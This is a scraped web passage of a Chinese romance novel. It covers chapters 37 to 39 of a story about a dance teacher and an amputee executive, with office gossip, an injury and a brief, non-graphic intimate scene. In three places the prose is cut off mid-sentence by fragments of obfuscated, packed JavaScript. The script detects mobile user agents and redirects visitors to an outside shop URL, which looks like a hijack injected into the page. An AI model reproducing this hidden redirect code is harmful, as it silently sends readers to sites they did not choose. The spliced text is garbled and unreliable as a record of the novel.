像在冬天里喝上一杯热咖啡,奶泡的香气融合了咖啡的醇香,温暖又满足。 卓繁星几乎就在一瞬间抬起手圈住他的脖子。他一只手从她的耳朵,滑到她的脖子,半托着她的脸,全部的肢体语言都仿佛再说拥有我吧。 在某个停下的档口,她笑出来。 翁乐仪问她笑什么。她说:“你的嘴唇就像玫瑰花瓣一样。” 翁乐仪get不到,他觉得她才像,像带着露水的玫瑰,还有甜果冻。可是他不想想太多,他觉得自己像躺在草地上晒太阳。 他离京前看望父母的时候,他们就是这样,在庭院的草坪上晒太阳。 翁乐仪重新吻住她,卓繁星仰头承受着这些甜蜜。 安杰取好行李没看见老板,司机打来电话,确认是否现在从停车场开过来。 他正为难,就看见书屋侧面的角落,一对正在接吻的男女。老板闭着眼睛,沉溺地亲吻着怀里的女孩儿。 “哎。”他叹了口气,告诉司机暂时不需要,等他消息。 来接翁乐仪的是一辆六座的商务车,安杰坐在前排,一上车后除了同翁乐仪简单地告知了一番会议的事项,便十分安静。 卓繁星坐上车时脸还是红的,当然不排除是被外面的冷风吹的。她的手还被握在翁乐仪手里,方才书屋里的一个姑娘睁着眼睛瞧他们。 即便拿着的书就让她露出了一双眼睛,可那眼睛也睁的太大了,都让人想象到她张大的嘴巴。 卓繁星的舌尖刺刺的,好像被吮破了。 她舔了舔,有些羞恼地瞪他。 “我觉得我还是回家吧。” 翁乐仪看着她,她的手指还被他揉着。一种很陌生的情潮,像海浪,连续不断地冲击着翁乐仪的心房。他感觉非常陌生,可绝不能说不愉悦。 相反,他知道那是一种兴奋的情绪,让他不想和她分开。 “我们不是说好了。”他这样讲。 因为前排的两人,卓繁星无法继续争辩。 安杰待在翁乐仪身边的时日算不上长,可自认观察人有些心得,老板这样的状态着实罕见。他无人可分享,只有默默消化,同时同身边的司机老哥对视一眼。 虽然安杰不能将见到老板女友的事发到公司小群里,可老板都要将人带去公司了,势必有八卦可看。八卦啊,总是不缺席的。 这正是卓繁星怕的。 她有些埋怨地看了翁乐仪一眼。即便下车后,他终于松开了她的手,可这也很难解释为什么她跟着他上了电梯,一路走进他的办公室,然后他在离开后拜托秘书办公室的小姑娘说:“凯思,麻烦照顾一下她,如果她有什么需求的话。” “好嘞!”小姑娘跃跃欲试,一口答应,热情度简直不要太高。拜托,这可是老板第一手的八卦,她在吃瓜前线哎,谁还能有她有第一手资料。 她送了茶点水果,又问卓繁星要喝点什么。如果要喝奶茶饮料,楼下就有某茶。她果断下去买来啊。 卓繁星说不用,她喝水就好。 小姑娘麻溜倒了一杯水。“我就在外面,如果你有需要,可以叫我哈。” “嗯嗯,谢谢。” 卓繁星见她出去了,才长出一口气。这种被人关注的感觉压力好大。 到了6点半,于晴晴敲门进来说:“卓小姐,翁总的会还没结束,他让我问您晚饭想吃什么?” 这个姑娘不是刚才的那个,卓繁星估计她都下班了吧。 万恶的资本家,可是资本家好像也在加班。 “公司有食堂,吃的也挺丰盛的。如果您有其他想吃的,我也可以安排他们送过来。” 卓繁星不想再呆在这间办公室了,就是再有格调,她也已经欣赏透透的了。 她说:“吃食堂就好了。” “好的,我带您去。” 卓繁星跟着她,经过办公区的时候,看见会议室里的百叶窗都合着。 电梯里,“我叫于晴晴,您可以叫我晴晴。” “我叫卓繁星。” 于晴晴是标准的白领打扮,黑色的西装外套里搭了一件白衬衫,扣子解开两颗,不显得沉闷。脖子上挂了一块工牌。 她在打量她的时候,于晴晴也在看她。 今日翁总带女友来公司的事已经传遍了。凯思吃瓜归吃瓜,可不敢拍照。不过一路过来,也有人拍到几张模糊的照片。不论如何,是个漂亮姑娘。 【翁总自己就是帅哥,找的女友肯定不会差啦。】 【你别说真的特别搭,光一个背影就很搭哎。】 【我宣布今天是我们公司广大妇女同胞失恋的日子。公司能不能慰问一下我们,上班已经很难了,还要遭受这种暴击。噗呲吐血.jpg】 【你想P吃啦,不让你加班到10点就好了。】 【有对象也好yy的啦,又没差。本来也只能yy啦。】 【是的,梦里什么都有!我还是小翁总的梦女,(*╯3╰)!】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067340|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【+1】 ...... 【不过翁总带女友来加班哎,我心里突然平衡了。】 【呵呵。他能带女友来加班,你能带吗?对象早跑了吧。】 【人艰不拆!】 【不要和资本家共情!握爪!】 【握爪!】 【今天食堂有草莓盒子吗?】 【我刚去还剩三盒,你现在下去应该还来得及。】 【可怜吧唧。家人们,我馋这口很久了,让让小宝吧。】 ...... 于晴晴按灭手机,群里每天都是这些消息。翁总的八卦也不过掀起小风浪,打工人还是要过自己的日子。 她想起凯思微信发她的时候,她请示了安杰,安杰在翁总耳朵边说了几句,翁总明显愣了下,然后把自己的工牌摘下来给她。 翁总这个女友倒是比她想的要朴素许多。看起来很年轻。耳朵上戴了一只星星耳饰,不像非常昂贵的样子。 翁乐仪用餐的地方与员工会区隔开,相对安静。 两人简单用了一些,于晴晴收到安杰的电话,要她为加班的工作人员订餐。 “那边应该快结束了。”她挂了电话对卓繁星说。 卓繁星问:“那翁乐仪要吃什么吗?” “他,哦,翁总——”于晴晴迅速记录下安杰发来的信息,说:“翁总平常工作忙的时候都是我们安排订餐,他有什么忌口我们也知道。” “嗯。你们好忙呀。”卓繁星感叹道。 “是的,现在因为是年底,确实会比较忙碌。” “那会有加班工资吧。” 于晴晴明显愣了下,笑道:“当然,肯定会有。” “卓小姐是做什么的?”气氛轻松,她终于问了出来。 “我是教舞蹈的。” “舞蹈老师,怪不得,您气质很好。” “谢谢。” 卓繁星回到办公室,翁乐仪又过了十几分钟才进来。 “抱歉。”他一进来就道歉。 卓繁星站在落地窗前转头。“我感受到了小说里霸道总裁的感觉了。” 他站在她身边,居高临下便是辉煌灯火,CBD的光芒像是一颗夜明珠,在深夜里闪闪发光。 翁乐仪非常抱歉,觉得自己坚持让她陪他过来真的不是一个好主意。他并没有时间给她。 “我有个事要跟你说。” “什么?” “照片。”卓繁星把胸口的工牌拿起来。“我想要这个照片。” 翁乐仪看着工牌上自己的证件照,有些无奈地又看回她。 “或者你再去补办一张工牌,这个就给我吧。”她圆圆的眼睛撒娇一样望着他。 翁乐仪移开视线。“你一个人这么久很无聊吧。” 卓繁星不否认。“是有那么点。不过我本来今天的时间都是你的。”她朝他笑,背景是翁乐仪看过许多遍的城市灯火,然而今日格外的闪烁明亮。 “我特地调休来陪你呀......” 翁乐仪低头吻住她。 在某个瞬间,他觉得自己仿佛吃了一块黄油蜂蜜面包,自己好像是一只抱着蜜罐的熊。 安杰拿着他的饭进来。“翁总。” 卓繁星一下推开他。 翁乐仪也有些尴尬。“谢谢。”他接过来放在桌上。还有一些资料。 卓繁星说:“所以你今天还没有结束?” 翁乐仪摸了摸鼻子。 卓繁星哼了一声,拿着那只工牌说:“没收!” 37. 第 37 章 卓繁星接到邵丽丽的电话,她今日第一次去公司上班,正是先前繁星有听她提过的那家小型设计公司。 “所以你现在在哪里吃饭?”卓繁星问她。 “隔壁负一楼的美食广场,砂锅土豆粉。你要来点吗?” 卓繁星听见嘈杂的人声,还有叫号的声音,然后邵丽丽说:“这边。” “等我一下,我去拿点调料。” “你不是在减肥?”这些东西她基本不碰的。 “我再不吃点好的我要爆炸。我感觉在这里上班比我熬大夜都累。” 邵丽丽恨恨地又加了一勺辣椒。“那个人事40来岁,穿的和大妈一样......噢,她以为我是老板的情人。他们这边来过很多个了。她把我简历拿去一看,好,我知道我中专生,他们这个公司直接pass的。” “她说既然老板说了,那你就好好上班。我们这边公司管理还是有规章制度的,不能搞特殊。” 邵丽丽阴阳怪气地把她的话重复了一遍。 “或许是前任留下了不好的印象。” “拜托,她也要看看她老板那个样子我看的上的呀,个子跟我差不多,我踩上高跟鞋要俯视他的。我最讨厌矮子了。” 卓繁星噗呲一下笑出来,劝道:“他是你老板。” “我知道,我好好上班呀,我又不是白拿他钱。” “还有,我想着今天第一天上班总要打扮一下的。叫我不要穿成那样。我是穿成什么样了,不晓得的以为我裸奔哎。” “还有我拿的这只CF像假的吗?我隔壁的小姑娘问我哪里买的货,版型蛮正的。气死我了。” 先前财政吃紧,她好几只包都挂咸鱼上卖掉了,如今就指望这个撑撑场面,没想到被说是假的。 “我给洪旺打电话,我真是委屈死了呀,没有两只包包治不好。” 那边还没挂断。“你要不要去啦,shopping一下。” “我没钱。” 她一听就无语了。“翁总这么小气的啊,洪旺都把副卡给我了,他那么大一个老板什么表示都没有?你不要不好意思啦,这种事对他们......” “他有送过我一个首饰。” “噢,首饰好呀,这个值钱。是不是V家的,还是C家的。我就说么翁总不至于这点东西都不给的。” “你提醒我了,我除了包,还可买只手表。” “这么高调真的好么?”卓繁星弱弱地问。 “他们现在孤立我哎,我要不做点什么,不是任由她欺负了。” 翁乐仪这两天在Y市下面新建的工厂视察,卓繁星给他打电话的时候,他穿了一条灰色厂服,尤其的接地气。卓繁星还是头一次见他这样打扮。 “呦,这是小翁总?”上班回来的邵丽丽从她跟前飘过,同她一样新鲜。 电话结束,她对她说:“人好看穿什么都好看哈,不过么叫我想到一点奇怪的东西。” “什么?” 她眨巴一下眼睛,卓繁星后悔问她了。 “寂寞的女人在家,有一天水管坏了,水管工趴在地上,大腿的肌肉那个紧哦,水把衣服都喷湿了,从他黑色的头发一路滴到英俊的脸,衣服一脱下来,偶买噶,那个肌肉哦,扑上去了呀。” 卓繁星第二天晚上上了翁乐仪的车——他驱车一个多小时赶回来,如今还是那身灰色厂服,嘴唇上带着浅浅的胡茬。 卓繁星瞬间想起邵丽丽黄黄的话。 “干嘛这么赶,明天回来也可以啊。” 翁乐仪喝了口水说:“还好。” “晚饭呢?” 他摇头。卓繁星说:“要不我们买点菜去你家烧?” “可以。” 他家附近就有一间大型商场。卓繁星已经计划好烧番茄锅,他们两个都不擅长烹饪,做火锅是最没难度的。 卓繁星没忍住悄悄看他,他察觉到了,问她看什么。 她将糙汉文学说给他听。 “什么乱七八糟的。”翁乐仪捋了一把头发,确实很脏,而且在那边厂服很方便,他甚至再问他们要了一套。 卓繁星拿起一包虾仁,转头问他,在某个瞬间停顿下来——他正在看架子上的酱料。卓繁星觉得他们像是一对夫妻,这让她有种温暖的感觉。 她走过去,挽住他的手臂,翁乐仪低头说:“要买花生酱吗?” “应该有配好的麻酱吧。”卓繁星又问他:”你吃香菜吗?” 他点头。卓繁星惊喜地望着他。“啊,又发现一个可以一起吃饭的点。” “我们都可以吃一点点辣,还喜欢吃醋。”她拨着手指,翁乐仪看着她的眼睛里含着浅浅的笑。 卓繁星是第一次到他家来,是一间大平层,装饰风格简洁,没有刻意划出餐厅的区域,餐桌是一张普通的原木方桌,墙上挂着一幅抽象画。卓繁星都能想象他从冰箱随意地拿出面包,坐在这张桌子前面。 翁乐仪说:“是我妈送来的。她原先吐槽了很久这间公寓的装修设计。” “阿姨的审美很好啊。” “确实。”她删减掉繁冗的家具,对于他这个腿不方便的人来说实用价值也很高。 “我可能要先去洗个澡。” “去吧,去吧。”卓繁星摆摆手,随即拉住他。 “嗯?”他挑了挑眉。 卓繁星踮起脚去亲他。 翁乐仪向后躲了一下。“我身上很脏。” 所以才是糙汉文学呀。卓繁星砸砸嘴,其实好像还有些夹杂着薄荷的烟味。啊,她在他车里看见薄荷糖了。 她不说话,就那么仰着头看他。 翁乐仪的矜持也就支撑那么一下,不然他为何驱车回来,除了面前这个人,还有其他的理由吗。 卓繁星这下确确实实地尝到了薄荷味,带着一溜溜甜味,不知道是不是她的幻觉,总之她觉得甜。 不知道亲了多久,总之她觉得她把他嘴巴里的薄荷味都舔干净了。他们埋在各自的脖颈里,享受着接吻的余韵。 卓繁星趁机把邵丽丽水管工与少妇的故事说给他听。 “你有没有看过这种?”她在他耳朵边上问,喷气把他耳朵都染红了。 翁乐仪说:“你少看这些东西。” 卓繁星很无辜。“我没看呀,我在问你。” “当然没有。我去洗澡了。” 卓繁星又揪住他。“那或许还是穿这件。” “不穿,没有了。” “那刮胡子吗?别刮了,明天再刮吧。” 翁乐仪停下,对身后喋喋不休的人说:“要不你跟我一起过去?” 她终于跑走了。 卓繁星很喜欢翁乐仪这里的厨具,尤其喜欢这只正在咕嘟咕嘟冒泡泡的珐琅铸铁锅。她刚刚偷偷搜了一下这个牌子,果断放弃。资本家的钱真是好赚。虽然它看起来真的很完美,但也绝对值不上这个价。 身后突然贴上来一个人,翁乐仪在她脸颊上轻轻亲了一下。 他一下变的香喷喷的了,带着海盐柠檬的香气。这种味道有种独特的少年气,同刚才的薄荷烟草味截然不同。 “要帮忙吗?” 卓繁星说:“不用啦,我就等你下来放年糕。” “谢谢,辛苦了。”翁乐仪又把脑袋放在她肩上,脸颊感受着她的发丝,他在刚刚看见她的时候,有一种满足感。仿佛他等待的就是这一刻。他驱车赶回来的时候,或许想的是他们见一面,可卓繁星总是给他惊喜。 饭桌上,卓繁星问他:“接下来是不是还要这样赶。” 他说那边工厂投产后,会有一部分办公人员迁过去,那边也会留一个办公室。 中途秦奶奶来了电话,卓繁星听见他喊姥姥。 她噤了声,连夹菜的动作都停了。 “嗯,正在吃......好,我知道了,她应该还没有加我微信......我会配合的。您也注意身体,好的,我回来就来看您。” “什么事?” “姥姥那边有个朋友要做一篇众鑫的采访,拜托我接洽一下。” “那是要采访你吗?” 翁乐仪说:“应该不需要我上镜。” 两人吃完后,已经是8点多。卓繁星随便找了一部恋综,主要是她觉得这个东西不费脑子,而刚好潘潘说有很多瓜,她就想看了。 卓繁星察觉到身边人的心不在焉,他的话很少,她问要不要看别的,他说不用,她以为他是累了。 过了一会儿,翁乐仪将手抽出来,说:“我去趟卫生间。” 卓繁星皱起眉,他的额头热乎乎的,抵着她的时候还有些潮湿......卓繁星一下站起来,在卫生间门口敲了敲门。 “我今天没办法送你。你去隔壁客卧睡,好吗?”他的声音沉沉地传过来,像是压抑着什么。 卓繁星说:“家里的药箱在哪儿?” 里面安静了片刻,随后卓繁星在他说的地方找到了药,倒好热水。门终于开了,他额头上都是汗,坐在里面的一只椅子上。假肢被摘下来,那条裤腿空荡荡地垂落。 翁乐仪手上夹着一只烟,一截烟灰支撑不住颤颤巍巍地落在地上,和他一样。 卓繁星看着他吃了药,又把一只小型的脉冲仪器拿过来。 “我在外面等你。” “谢谢。” 卓繁星坐在餐桌前的椅子上,两个小时之前他们坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067341|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里吃饭,他或许就已经不舒服了。 她咬着指甲,恼恨自己为什么这么粗心,结束后还要拉着他看什么综艺。 翁乐仪开门出来,第一次没穿假肢。他高大的身影靠着门框,正对着灯光下的卓繁星。 那点昏黄的光洒在她身上,让他感受到她因为忧虑而不安稳的心,显得无比可怜。 他有些后悔带她过来。 他们躺在一起,注视着对方。 “你好点了吗?”她还是不太放心。 翁乐仪点头嗯了一声,因为疼痛而显得苍白的脸,如今还没有恢复血色。 他在被子下找到她的手,卓繁星很快便贴过来。 翁乐仪疲倦地闭上眼睛。 他不知道卓繁星久久没有睡着。如果说爱一个人便能感受他的痛苦,那卓繁星想她或许还不够爱他。她震惊于他的脆弱,当她同他一起躺在床上的时候,他承受的痛苦让他连话都不想说。 翁乐仪会想要自己看见他这样吗。 她忍不住隔着一段距离描摹着他的五官,眼泪不自觉便落下来,然后消失在枕头里面。她瘪了瘪嘴唇,爬起来在他额头轻轻亲了一下。 在入睡前,卓繁星想或许明天起来可以告诉他她那个关于器官的故事。她想要分享给他。 而他们现在真的手牵着手,一起入眠,这何尝不是一种梦境的实现。 当然,卓繁星第二天醒来,就有些失忆了。她睡的糊里糊涂,甚至往翁乐仪怀里钻了钻。 翁乐仪听见怀里的人嗯嗯唔唔,烦躁的声音,然后是啊的一声。 她撑起身,简短的一个对视后,咻的一下钻进了被子里。 翁乐仪咳了一下。“差不多了,我先去换衣服。你早饭要吃什么?” 两人又坐在那只餐桌前,今日阳光明媚,真是个好天。 卓繁星将床上稍微收拾一下,换下来的衣服放到脏衣篓里,会有阿姨上门清洗。 她探出头,对阳台上的人说:“翁乐仪,我先走啦,邵丽丽约我去逛街。” 翁乐仪疑惑地看了她一眼,这显然不在他预料之内。今天他的时间很空,他打算他们可以在一起一整天。 “卓繁星。”他起了个头。 卓繁星点了点他耳朵边的电话,轻声说:“我和她早就约好了,你突然回来,唔......”她想了想还是说实话:“是去做个光子嫩肤啦,我出发啦。你好好休息哦。” “之后呢。”他追出来,她已经在穿鞋了。 之后?卓繁星愣了下才明白。“我今天就不过来啦,来回太折腾了。” 卓繁星之前没做过医美项目,邵丽丽说她带新客去有的送,而且光子很基础啦,就是保养。卓繁星就跟着去了。她下定决心绝不多花钱。 碰面的时候,邵丽丽问她:“你昨天没回来。” 卓繁星试图含混过去。 “所以咋样?” “什么怎么样?” 邵丽丽翻了个白眼。“感受怎么样?翁总绅士吗?还是那种床下床上两幅面孔。” “你快闭嘴吧。”卓繁星被她说的脸都红了。“什么都没发生。” “我信你个鬼。” “真的!” 当然除了早上。卓繁星不好意思说她好像知道他有点冲动了,不然也不会在卫生间呆那么久。 “你俩怎么回事?翁总不会不行吧,放着你这么个大美人。” “收,收。”卓繁星拦住她。“昨天只是太晚了,所以没回来。” 邵丽丽在她肩上重重一拍。“也对,第一次没有充足的准备,体验感也会下降啦。你是不是昨天穿的大妈内衣?” “我没有。” “那就是儿童内衣。总之都一样啦,等下我们做完脸就去买,不要不好意思,都是情趣。” 卓繁星一定是被她说服了的,不然怎么解释她手上这只价值999元的袋子。她莫名其妙买了一套蕾丝内衣,还有一条真丝睡裙。 邵丽丽还在喋喋不休。“我真的觉得还是那条绑带的适合你。” “那你赶紧自己买吧。” “对我来说又有点保守了呀。” 卓繁星瞪了她一眼,在她钻进试衣间的时候,给翁乐仪打去电话。 那边响了一会儿才接。 “你在忙吗?腿好点了吗?” 翁乐仪把耳机摘了,说:“嗯。” 卓繁星刚放心,他又说:“还有点疼。” “还疼?!那得去医院看一下。” “懒得去。”翁乐仪伸了懒腰。 “那我过来找你吧。”卓繁星皱了皱眉。 “好。”他翘起嘴角,打字回陈跃今天不玩了。 38. 第 38 章 卓繁星拒绝了翁乐仪的同居申请。 理由非常充分: 1、他家离她工作的地方太远了,不方便。 2、他并不是每天都在家,时常要出差或同前两天一样留宿新厂区。 如此一来,她搬过来实在不划算。当然,偶尔的留宿是可以的啦。 卓繁星承认自己还是有些害羞,再等等吧,她这样想。 然而很快一件事就打破了她的计划。 陈女士一贯是不具备太多为他人着想的意识的,她雇佣卓繁星,已经很给面子,那么卓繁星自然要适当地为她做一些事。即便带Bella去看舞剧不在她的工作范围之内。 她是这样讲的:“我那天实在不空。可是难得这么好的舞团过来,我还搞到两张VIP票,要是不带Bella去看,太可惜了呀。其实就是我去,也要叫卓老师一起去的。那些舞剧我又看不懂,没有你这种专业的人士在旁边讲解,我就是看个热闹呀。Bella什么也学不到。” “这是提高Bella艺术审美的事,我听教育专家这样的讲的,好的审美要从小时候就开始抓起。我们这种人家又不指望她高考,和那么多孩子一起竞争,最后肯定是要去国外精英培养的。” “我花这些心思让她学舞蹈为了什么,还不是为了以后有特长,申请学校用的上,那些外国大学就看这些花里胡哨的东西。” 她这样讲,卓繁星是绝不能拒绝她的,除非她不想赚她的钱了。 舞剧在Y市大剧院演出,卓繁星是第一次来,Bella有家中汽车接送,他们在外面碰头,Amy将人交给她,等结束了再来接人。 京市的舞团如今是巡演,剧场外就挂着巨幅海报,想来已经宣传已久。只是卓繁星向来在这些信息上闭目塞耳,若非陈女士,她绝不会踏足此地。 来观看的人群不乏带孩子的,卓繁星不算太引人注目,当然,如果正巧坐在前排,那就是另一种说法了。结束的时候,她不知在想什么心思,下台阶时一脚踩空。 Amy说送她去医院,她不敢耽搁Bella的回家时间,自己叫了辆车去。 翁乐仪电话打来的时候,问她在哪里,有没有到家。 卓繁星说嗯,到了。 司机大哥停车说:“美女到医院了,你这腿能走不,要不要我给你扶进去?” “......” 翁乐仪赶到医院的时候,卓繁星坐在外面等。说来巧,正碰见赵医生值班,如今他去处理一个脑袋上要缝针的伤患。 “医生怎么说?”她左脚侧面肿起来,透出里面的乌青。 “应该没有伤到骨头,就是保险拍个片子。”卓繁星拉着他坐下。“你从公司赶过来?” “家里。今天没那么忙。” “噢。” 两个人都没再说什么。 赵朔找出来,愣了下。“卓繁星,片子出来了。”他把手放进口袋里,目光在翁乐仪身上转了一圈。 “骨头没事,应该是韧带扭伤。”赵朔放大电脑里的片子,仔仔细细看了一遍。 “这个多久能好?”卓繁星问他。 “一个礼拜不要下地,最好少走,这个要养的,起码半个月。” 卓繁星懊恼,她职业特殊,要是坐办公室的也就算了。 赵朔开完药,不经意地问起:“那位是你男朋友?” 得到了肯定的答复,他也不知道心里什么滋味儿。“叔叔要是知道了肯定特别开心。” 卓繁星笑了笑没回应他这句话。 “你去拿药,主要是喷雾,先消肿止痛。如果有什么问题,你回头微信上发我。” 卓繁星直接被翁乐仪带去了他家。 翁乐仪家里都是考虑他的腿有特殊设计的,如今她用着正合适。要是自己家里,她还得爬个十几节楼梯上去,loft式的建筑,楼梯窄而陡,来回几趟,要她命了。 她躺在床上,过了二十分钟,翁乐仪也收拾好躺下来。 卓繁星顺势就往他怀里滚。 半天没动静,除了揽着她的那只手。她眼睛往上瞄——他眼睛都闭上了。 她悄悄叹了口气,睁着圆咕隆咚的眼睛发呆。 翁乐仪在之后睁眼的时候就见着她这样。 “你在想什么?” “你没睡?”她被他突然出声小小吓了一跳。她察觉出他心情不怎么好,或许是工作累了。 “我今天碰见以前的林老师了,她是这次舞剧的编舞老师。”卓繁星立刻就想到今天中场休息的时候,撞见她,两个人都很意外。她自然问起她如今在做什么?卓繁星只能照实说。她手边还牵着一个Bella,当然她也不会说谎,没有什么区别。 林老师自然很为她可惜,可跳舞这个东西,就是要下苦功夫,花时间,她如今早就同念书那会儿不一样了。她看着舞台上的演员就知道。与他们相比,她如今很是业余。 就像两个世界的人。 卓繁星隐去那些可惜的话,只将自己的感受说给他听。 翁乐仪说:“会觉得遗憾。” 卓繁星点头。“毕竟学了好多年的舞蹈,我一直以为会走这条路。”她在他怀里换了个姿势。“你知道吗?这是我毕业后第一次看舞剧。我一直不想面对这件事。” 人生出现了脱轨,如果蒙住眼睛,盖住耳朵,她可以不那么难受。不然她会忍不住去恨卓强。 那种恨又恨不彻底,像是蚌肉里掺着砂砾,一点一点的磨人。 翁乐仪说:“我刚出事时也是这样。” 卓繁星仰头看他,与他对视后,将他抱得更紧。 “那时候是冬天,我睁开眼睛,窗外面就是白茫茫的一片。康复医院在一个小镇,很安静,下午3点多天就黑了。” “后来我妈觉得太无聊,带我去镇上的集市广场。那边还有家小超市......我记得那边有座钟楼?反正她喜欢带着我,在外面,她在我旁边,会买一瓶酒,然后一起抽一支烟。” 卓繁星将他的手移到她下腹的疤上。 翁乐仪的手指触碰上去的时候,那处的肌肉轻微挛缩。 “今日那个医生,你还有印象吗?”她突然调转话题,翁乐仪稍显慢半拍。 “我曾与他相亲过。” 翁乐仪挑了挑眉。“怪不得你有他微信。” 卓繁星想他怎么知道,他已开始催她。“所以?” 所以?卓繁星觉得自己一时忘情,说的太多。“总之就是失败了。” “因为这个?”他在她那条疤痕上轻轻抚过。 卓繁星说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067342|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我爸觉得这会影响我嫁人。” 卓繁星开始讲起她那个器官的梦。 翁乐仪听到一种诡异童话的感觉,从她开合的唇瓣里源源不断地进入他的耳朵,却有一种魔力让他挪不开注意力。 “它们都回来了。”她被自己逗笑了。“它们手拉着手,一个跳进我的身体里,一个长在你的腿上......” 翁乐仪还没等她说完,就吻住了她的唇。 他们抱在一起,紧紧拥着彼此,好像两只在冬天互相取暖的小狗。如果不能抱紧对方,怎么才能在这个冬天活下去。 他们是那样的像,连残缺都是一样的。他们注定了要在一起。 卓繁星感觉到一种来不及阻止的情潮铺面向她涌来,像是有一张网将她罩在了里面,她无处可逃。紧张混杂着零星的怕,可这实在不能令她推开他。 直到她的身体碰到他的残肢——那是一截突兀存在的地方,如何也解释不了,那截滚圆的,有些近似圆柱体的肢体会搭在她的小腿上。 卓繁星甚至感受到他膝盖以下无力的部分,像是一个孱弱的孩子,耷拉着。 翁乐仪一下从她身上离开。 他肯定也感觉到了吧。所以在卓繁星试图去摸的时候,将她拦住。 翁乐仪起伏的胸膛尚未平息,握住她的手仍在轻微颤抖。卓繁星心疼起来,在他漂亮的眼睛上轻轻亲了一下。 “要我帮忙吗?” 他愕然,怔怔地望着她。 “不要算了。”卓繁星也害羞了,她的勇气只允许她问一次。 随后她的手被牵着,带到那里。穿过卫裤,还有一截松紧带。滚烫炙热的温度灼的她手瑟缩了一下。 手指接触到茂密的草地,这里诡异地叫卓繁星想到了红毛丹。她的羞涩有一瞬间不见了踪影,喷笑在他怀里,然而很快又卷土重来。 实在是这样的翁乐仪太过陌生,又太过诱人。 他直视着她,黑漆漆的眼珠不似他那里,若不是她的姿势,她真要怀疑他什么都没发生,一本正经地看着她。 这让她有种错觉,好像在欺负他。 她的手指被他包裹着,起初是没有什么自己的意识的,她还是有些被吓到的。直到后来,才敢这里动一动,那里动一动。 “翁乐仪。”她在最后的关口轻轻喊他。 翁乐仪向前倒在她身上,将脸整个的埋在她肩头,加重的呼吸一下又一下地传递过来。 结束后,翁乐仪拿过床头柜上的纸巾盖在她手上。她在这个动作中,看见他微微下滑的裤子,露出一截白色的腰腹。 “我去给你拿毛巾擦一下。”他耳朵红透了,恨不得下一秒就滴血。 卓繁星发了会儿呆,掀开被子,跳着跟了过去。 “你的脚。”他过来扶她。 “还是洗一下方便。”卓繁星先是将自己的手放在水池里冲,然后挤了洗手液,将自己的爪子搓干净。 翁乐仪拿毛巾给她擦手,她突然笑起来。 “我们两个一样了,都是小瘸子。” 翁乐仪在侧边的镜子里看见他们的姿势,还有两张一样通红的脸。他低下头吻住她,极尽温柔与缠绵。 卓繁星呢? 她靠在瓷砖上,抱住他,好方便他站的更稳。 39. 第 39 章 次日下午,翁乐仪在办公室见到了程知遇,还有一位李姓执行导演。其实他们落地时,翁乐仪就安排人接待,只是后来程知遇又联系他,有些问题想再同他协商。 李导演说:“众鑫是一家老牌企业,现在新能源是国家重点发展的领域,之前也有很多起伏。这是非常精彩的故事,也是我们想要做一次专访的原因。” “这次的主题是浪潮,我们觉得众鑫特别契合。尤其了解到您现在是已经进入企业,有接棒的意思,我们想采访一下您。俗话讲长江后浪推前浪,您也是非常优秀的青年企业家。” 翁乐仪说:“您谬赞了,我是沾了父辈的光。”转头问起最近的采访。“我听说你们想去新厂区看一下。” 李导演看了眼程知遇,程知遇点头说:“是有这样的打算。就看你这边方便安排吗?” “这没什么,不过那边还没收拾好,最近是有些机器设备搬进去。” “我们是听说那是众鑫要打造的现代化生产工厂,会大量采用机器人。” “是,现在都在做黑灯工厂,这对产品的良率,降低成本都是有好处的。”翁乐仪说:“如果你们有想法,我可以让安杰去联系一下那边的工作人员,尽量配合。” “至于采访。”翁乐仪委婉拒绝道:“其实我觉得采访公司的老员工会更契合你们的主题,包括我们也有许多祖孙三代都在工厂里的故事。如果你们需要,我让安杰整理好发给你们。” 话都说这份上,程知遇两人并非不知好歹的人。这次过来,已经开了一路绿灯,行程比想象的还要顺利。除了本来想的。 这位继承人样貌出众,放在节目里绝对是个亮点。翁家低调,可掌权人翁廷川随便上京开个会,照片视频网上一传,都能上个热搜——人称现实霸总中年版,小说男主老了以后,以前的阿姨吃的真好啊等等。如今这个更是活脱脱的帅哥,霸总预备役,青年版。 李导演稍显遗憾,原先以为凭程知遇的关系,怎么也能采访一下,说多说少不管,没想到还是没戏。 翁乐仪起身送她们离开,握手的时候,程知遇说:“这两天劳烦你了。” “没什么,你客气了。希望能帮到你们。” 她抿抿唇说:“秦奶奶昨天联系我,问我采访的怎么样?我说多亏了你帮忙。这次回去,想着要给她带些礼物,可能还要麻烦你。” 凯思将人送至电梯,回来的时候免不了八卦。 陆芳品着菊花茶慢悠悠评价道:“翁总这般人物,有人对他有意思不是很平常的事。” “这个比起他女友怎么样?” 